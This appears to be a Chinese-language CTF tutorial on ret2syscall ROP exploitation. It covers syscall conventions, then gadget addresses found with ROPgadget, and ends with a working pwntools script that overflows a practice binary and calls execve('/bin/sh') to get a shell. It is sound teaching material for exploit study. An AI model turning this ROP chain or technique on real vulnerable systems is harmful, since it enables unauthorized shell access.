ret2syscall 即控制程序执行系统调用来获取 shell。

  • rop:在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
  • gadgets:在程序中的指令片段,有时为了达到执行命令的目的,需要多个gadget来完成功能。gadget最后一般都有ret,因为需要将程序控制权(EIP)给下一个gadget。即让程序自动持续的选择堆栈中的指令依次执行。
  • ropgadgets:一个pwntools的一个命令行工具,用来具体寻找gadgets的。例如:从pop、ret序列当中寻找其中的eax:ROPgadget --binary ./example --only “pop|ret” | grep “eax”
  • 在linux系统中,函数的调用是有一个系统调用号的。Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。简单来讲,通过系统调用来获取 shell 就需要把系统调用的参数放入各个寄存器,然后执行 int 0x80 就可以了。:

应用程序调用系统调用的过程是:
1、把系统调用的编号存入 EAX
2、把函数参数存入其它通用寄存器
3、触发 0x80 号中断(int 0x80)

  • 系统调用号系统调用号有32位与64位的区分,Ubuntu环境下系统调用号的位置:/usr/include/x86_64-linux-gnu/asm

unistd_32.h
unistd_64.h

execve(“/bin/sh”,null,null)函数其32位系统调用号是11,即十六进制0xb。
系统调用号,即 eax 应该为 0xb。
第一个参数,即 ebx 应该指向 /bin/sh 的地址(其实执行 sh 的地址也可以)。
第二个参数,即 ecx 应该为 0。
第三个参数,即 edx 应该为 0。
系统在运行的时候会使用上面四个寄存器,所以那么上面内容可以写为:int 0×80(eax,ebx,ecx,edx)。
只需要让栈顶的值是0xb,然后通过pop eax达到目的(把栈顶的值返回到寄存器eax中)。

例题:戳我
checksec:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

main函数很明显的栈溢出:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

使用cyclic工具可计算得到偏移量为112:
2021-07-15_140240.png
使用ROPgadget工具找到pop eax:
ROPgadget --binary ./Desktop/rop --only "pop|ret" |grep "eax"
得到可利用的地址为0x080bb196:

0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

继续找pop ebx,得到可用的地址为0x0806eb90:

0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

再找一下"/bin/sh"字符串的位置:
ROPgadget --binary ./Desktop/rop --string "/bin/sh"

Strings information
============================================================
0x080be408 : /bin/sh

再找一下"int 80"的位置:
ROPgadget --binary ./Desktop/rop --only "int"

Gadgets information
============================================================
0x08049421 : int 0x80
from pwn import *

io = process('./rop')
pop_eax_ret = 0x080bb196
pop_other_ret = 0x0806eb90
binsh = 0x080be408
int80h = 0x08049421
payload = 'a'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_other_ret)+p32(0)+p32(0)+p32(binsh)+p32(int80h)
io.sendline(payload)
io.interactive()